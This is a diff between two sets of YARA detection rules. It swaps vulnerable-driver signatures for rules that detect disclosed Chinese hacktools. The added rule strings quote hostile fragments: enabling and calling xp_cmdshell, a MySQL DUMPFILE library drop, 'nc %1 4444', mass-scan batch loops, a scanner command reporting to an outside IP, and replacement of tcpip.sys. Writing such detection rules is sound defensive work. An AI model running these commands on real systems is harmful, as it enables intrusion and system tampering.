-		id = "84fa4df8-ac81-5de0-994d-9d754642a01e"
-		date = "2023-06-14"
+		description = "Disclosed hacktool set - file sql.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "77ea95fc-7a6a-522b-8a72-1832598c4d2d"
+		date = "2014-11-17"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6173-L6193"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7877c1b0e7429453b750218ca491c2825dae684ad9616642eff7b41715c70aca"
-		logic_hash = "693ace66d01afcdd61fe23a3baa8b950153d38bdc386a43861005654c269cd3d"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1108-L1129"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d5139b865e99b7a276af7ae11b14096adb928245"
+		logic_hash = "139f7308055351d9dc8a704c055360ac9408dcefc9eee4b9f222886fb5249b8c"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600500072006f004500760065006e0074004d006f006e00690074006f0072002e0053007900730020002d0020004500760065006e00740020004d006f006e00690074006f00720069006e00670020006400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00530079006d0061006e00740065006300200043006f00720070006f0072006100740069006f006e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e00340035003700300038 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]005600500072006f004500760065006e0074004d006f006e00690074006f0072002e005300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530079006d0061006e0074006500630020004500760065006e00740020004d006f006e00690074006f00720073002000440072006900760065007200200044006500760065006c006f0070006d0065006e0074002000450064006900740069006f006e }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]005600500072006f004500760065006e0074004d006f006e00690074006f0072002e005300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000300037002d0032003000300038002000530079006d0061006e00740065006300200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "s.exe %s %s %s %s %d /save" fullword ascii
+		$s2 = "s.exe start error...%d" fullword ascii
+		$s4 = "EXEC sp_addextendedproc xp_cmdshell,'xplog70.dll'" fullword ascii
+		$s7 = "EXEC master..xp_cmdshell 'wscript.exe cc.js'" fullword ascii
+		$s10 = "Result.txt" fullword ascii
+		$s11 = "Usage:sql.exe [options]" fullword ascii
+		$s17 = "%s root %s %d error" fullword ascii
+		$s18 = "Pass.txt" fullword ascii
+		$s20 = "SELECT sillyr_at_gmail_dot_com INTO DUMPFILE '%s\\\\sillyr_x.so' FROM sillyr_x" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		6 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Wj_Kprocesshacker_C725 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hacktools_CN_Panda_445TOOL
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - krpocesshacker.sys"
-		author = "Florian Roth"
-		id = "53a8740a-65a5-5eb5-afc5-b86058982071"
-		date = "2023-06-14"
+		description = "Disclosed hacktool set - file 445TOOL.rar"
+		author = "Florian Roth (Nextron Systems)"
+		id = "02075631-49cc-5b97-ad8e-92d734a26d34"
+		date = "2014-11-17"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6196-L6215"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c725919e6357126d512c638f993cf572112f323da359645e4088f789eb4c7b8c"
-		logic_hash = "78c3a92f79cbbc31d9191da527bf834e366454f1b5109600aca7954ca4e77226"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1131-L1147"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "92050ba43029f914696289598cf3b18e34457a11"
+		logic_hash = "69a17bf7735eea946a5326d9535e68b8f010f2a0229875970b1bb15029c6dc4e"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004b00500072006f0063006500730073004800610063006b00650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0077006a00330032 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0038 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0038 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004b00500072006f0063006500730073004800610063006b00650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006b00700072006f0063006500730073006800610063006b00650072002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]004c006900630065006e00730065006400200075006e006400650072002000740068006500200047004e0055002000470050004c002c002000760033002e }
+		$s0 = "scan.bat" fullword ascii
+		$s1 = "Http.exe" fullword ascii
+		$s2 = "GOGOGO.bat" fullword ascii
+		$s3 = "ip.txt" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avastsoftware_Aswarpot_Avastantivirus_7AD0 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hacktools_CN_Panda_445
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "e9db51b4-48a2-53a9-999d-5676d0a4aa91"
-		date = "2023-06-14"
+		description = "Disclosed hacktool set - file 445.rar"
+		author = "Florian Roth (Nextron Systems)"
+		id = "02075631-49cc-5b97-ad8e-92d734a26d34"
+		date = "2014-11-17"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6218-L6238"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7ad0ab23023bc500c3b46f414a8b363c5f8700861bc4745cecc14dd34bcee9ed"
-		logic_hash = "2cfb950364b5259679e0dcc7ebe34fd6703ae376b5e1717428a88f0c2ba823f5"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1149-L1169"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a61316578bcbde66f39d88e7fc113c134b5b966b"
+		logic_hash = "d3f5b2c601dfa1702bbd1f8bdc1f847dd34ba84a6c527a3e02cdb76075e4ad2c"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200041006e0074006900200052006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0034002e00380033002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0034002e00380033002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300032003000200041005600410053005400200053006f006600740077006100720065 }
+		$s0 = "for /f %%i in (ips.txt) do (start cmd.bat %%i)" fullword ascii
+		$s1 = "445\\nc.exe" fullword ascii
+		$s2 = "445\\s.exe" fullword ascii
+		$s3 = "cs.exe %1" fullword ascii
+		$s4 = "445\\cs.exe" fullword ascii
+		$s5 = "445\\ip.txt" fullword ascii
+		$s6 = "445\\cmd.bat" fullword ascii
+		$s9 = "@echo off" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_C082 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hacktools_CN_Wineggdrop
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "36d4d011-edf0-53e8-9665-b75520140df3"
-		date = "2023-06-14"
+		description = "Disclosed hacktool set - file s.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9b6244ee-5ace-5caa-bfa2-732bcfcfc998"
+		date = "2014-11-17"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6241-L6261"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c082514317bf80a2f5129d84a5a55e411a95e32d03a4df1274537704c80e41dd"
-		logic_hash = "de63522d95ff422588d388c3533e268bd09fcf895d60277b7f7470ca7b1e9a33"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1171-L1194"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7665011742ce01f57e8dc0a85d35ec556035145d"
+		logic_hash = "6123a07038e30e11e37a70b912a1c854c13341e67eaf4ed14ca9954288a42d62"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00360030002e0030002e0031003000380034 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00360030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003200300020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "Normal Scan: About To Scan %u IP For %u Ports Using %d Thread" fullword ascii
+		$s2 = "SYN Scan: About To Scan %u IP For %u Ports Using %d Thread" fullword ascii
+		$s6 = "Example: %s TCP 12.12.12.12 12.12.12.254 21 512 /Banner" fullword ascii
+		$s8 = "Something Wrong About The Ports" fullword ascii
+		$s9 = "Performing Time: %d/%d/%d %d:%d:%d --> " fullword ascii
+		$s10 = "Example: %s TCP 12.12.12.12/24 80 512 /T8 /Save" fullword ascii
+		$s12 = "%u Ports Scanned.Taking %d Threads " fullword ascii
+		$s13 = "%-16s %-5d -> \"%s\"" fullword ascii
+		$s14 = "SYN Scan Can Only Perform On WIN 2K Or Above" fullword ascii
+		$s17 = "SYN Scan: About To Scan %s:%d Using %d Thread" fullword ascii
+		$s18 = "Scan %s Complete In %d Hours %d Minutes %d Seconds. Found %u Open Ports" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and all of them
+		5 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Creativetechnologyinnovationcoltd_Ctiiosys_Ctiiodriverversion_X_2121 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hacktools_CN_Scan_BAT
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - CtiIo64.sys"
-		author = "Florian Roth"
-		id = "3cc780a4-7b9c-516e-91a1-705f785922d2"
-		date = "2023-06-14"
+		description = "Disclosed hacktool set - file scan.bat"
+		author = "Florian Roth (Nextron Systems)"
+		id = "836e0618-93c7-5519-bbc4-705ff5c2e127"
+		date = "2014-11-17"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6264-L6284"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2121a2bb8ebbf2e6e82c782b6f3c6b7904f686aa495def25cf1cf52a42e16109"
-		logic_hash = "58b715cbea724f7d8f946f613ec35fc3bf29cc34c1e32ebc2910d73092f96d83"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1196-L1214"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6517d7c245f1300e42f7354b0fe5d9666e5ce52a"
+		logic_hash = "eed941d2ad5d33d7224504b08d2104d4043fab7a2ff027fc54cd1afd42e32549"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00430054004900200049004f0020006400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0043007200650061007400690076006500200054006500630068006e006f006c006f0067007900200049006e006e006f0076006100740069006f006e00200043006f002e002c0020004c00540064002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000200078003600340020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300020007800360034 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043007400690049006f00360034002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043007400690049006f003600340020004400720069007600650072002000560065007200730069006f006e00200031002e0030 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043007400690049006f00360034002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003200310020004300540049 }
+		$s0 = "for /f %%a in (host.txt) do (" ascii
+		$s1 = "for /f \"eol=S tokens=1 delims= \" %%i in (s2.txt) do echo %%i>>host.txt" fullword ascii
+		$s2 = "del host.txt /q" fullword ascii
+		$s3 = "for /f \"eol=- tokens=1 delims= \" %%i in (result.txt) do echo %%i>>s1.txt" fullword ascii
+		$s4 = "start Http.exe %%a %http%" fullword ascii
+		$s5 = "for /f \"eol=P tokens=1 delims= \" %%i in (s1.txt) do echo %%i>>s2.txt" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		5 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Ssmartsoftwaresolutionsgmbh_Sysdrvs_Sysdrvs_0E53 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hacktools_CN_Panda_Burst
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - SysDrv3S.sys"
-		author = "Florian Roth"
-		id = "9ace902a-a3bf-56fa-8eb8-99a82c1adf0b"
-		date = "2023-06-14"
+		description = "Disclosed hacktool set - file Burst.rar"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e07c66d1-958e-5ad2-9d5b-380d48af8360"
+		date = "2014-11-17"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6287-L6307"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0e53b58415fa68552928622118d5b8a3a851b2fc512709a90b63ba46acda8b6b"
-		logic_hash = "4d165a6f340f31b18e62ae9f35dd1c5e278217b949e6162119f0e512a262dc38"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1216-L1229"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ce8e3d95f89fb887d284015ff2953dbdb1f16776"
+		logic_hash = "c334019cab377f4d96f5daee6a2f1fa7e24ecc43b3aee1eb76537640fdfd8a97"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530079007300440072007600330053 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00330053002d0053006d00610072007400200053006f00660074007700610072006500200053006f006c007500740069006f006e007300200047006d00620048 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002c0035002c0036002c0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0035002e0036002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530079007300440072007600330053 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530079007300440072007600330053 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530079007300440072007600330053002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000300036002d0032003000310034 }
+		$s0 = "@sql.exe -f ip.txt -m syn -t 3306 -c 5000 -u http://60.15.124.106:63389/tasksvr." ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_14AD : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hacktools_CN_445_Cmd : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "0501fc8b-cc72-5c03-97cf-411051119ccf"
-		date = "2023-06-14"
+		description = "Disclosed hacktool set - file cmd.bat"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b9693f51-26ac-5bf1-8c4d-ca852a154636"
+		date = "2014-11-17"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6310-L6330"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "14adbf0bc43414a7700e5403100cff7fc6ade50bebfab16a17acf2fdda5a9da8"
-		logic_hash = "157a559b87310d33a96c77208afd4ae9ceea23df99417408e413dee0be507dd3"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1231-L1246"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "69b105a3aec3234819868c1a913772c40c6b727a"
+		logic_hash = "e0ab572fe9009ddc39f34302d8a16531c23f51ce4ea373d57a039f22ccc934c7"
+		score = 60
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310037002e0039002e0033003700350034002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310037002e0039002e0033003700350034002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003400200041005600410053005400200053006f006600740077006100720065 }
+		$bat = "@echo off" fullword ascii
+		$s0 = "cs.exe %1" fullword ascii
+		$s2 = "nc %1 4444" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		uint32(0)==0x68636540 and $bat at 0 and all of ($s*)
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Windowsrserverddkprovider_Cpuzsys_Windowsrserverddkdriver_3871 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hacktools_CN_GOGOGO_Bat
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz_x64.sys"
-		author = "Florian Roth"
-		id = "ddcb8217-640d-598d-9afd-a1c15d1bbb8c"
-		date = "2023-06-14"
+		description = "Disclosed hacktool set - file GOGOGO.bat"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b52cc150-81d4-5895-8f83-ee2006f75617"
+		date = "2014-11-17"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6333-L6353"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3871e16758a1778907667f78589359734f7f62f9dc953ec558946dcdbe6951e3"
-		logic_hash = "5613c77f79128bc7ac3bbe698dcd8be2fca2f59cb60a40ed97f0c80ba9aff690"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1248-L1273"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4bd4f5b070acf7fe70460d7eefb3623366074bbd"
+		logic_hash = "0209ffba87ff07379c768c1c00496a37f0f9bc6b786a31afdafe55d65a9f39ab"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b002000700072006f00760069006400650072 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b0020006400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "for /f \"delims=\" %%x in (endend.txt) do call :lisoob %%x" fullword ascii
+		$s1 = "http://www.tzddos.com/ -------------------------------------------->byebye.txt" fullword ascii
+		$s2 = "ren %systemroot%\\system32\\drivers\\tcpip.sys tcpip.sys.bak" fullword ascii
+		$s4 = "IF /I \"%wangle%\"==\"\" ( goto start ) else ( goto erromm )" fullword ascii
+		$s5 = "copy *.tzddos scan.bat&del *.tzddos" fullword ascii
+		$s6 = "del /f tcpip.sys" fullword ascii
+		$s9 = "if /i \"%CB%\"==\"www.tzddos.com\" ( goto mmbat ) else ( goto wangle )" fullword ascii
+		$s10 = "call scan.bat" fullword ascii
+		$s12 = "IF /I \"%erromm%\"==\"\" ( goto start ) else ( goto zuihoujh )" fullword ascii
+		$s13 = "IF /I \"%zuihoujh%\"==\"\" ( goto start ) else ( goto laji )" fullword ascii
+		$s18 = "sc config LmHosts start= auto" fullword ascii
+		$s19 = "copy tcpip.sys %systemroot%\\system32\\drivers\\tcpip.sys > nul" fullword ascii
+		$s20 = "ren %systemroot%\\system32\\dllcache\\tcpip.sys tcpip.sys.bak" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		3 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_37C6 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hacktools_CN_Burst_Pass
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
-		author = "Florian Roth"
-		id = "f4b17a75-3160-5a73-afe6-531c41fae197"
-		date = "2023-06-14"
+		description = "Disclosed hacktool set - file pass.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d8f6784f-80c8-51e2-9d86-40022cd8705d"
+		date = "2014-11-17"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6356-L6376"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9"
-		logic_hash = "7ab6c3fe4c9cd61c171a71d631a8efc34121bac85e1abf5f281b150f4b6a77a5"
-		score = 40
-		quality = 85
-		tags = "FILE"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1275-L1298"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "55a05cf93dbd274355d798534be471dff26803f9"
+		logic_hash = "3a30cc602a66bd87304756311d56e7c698c1edb0b4b209198c589c4792776992"
+		score = 60
+		quality = 60
+		tags = ""
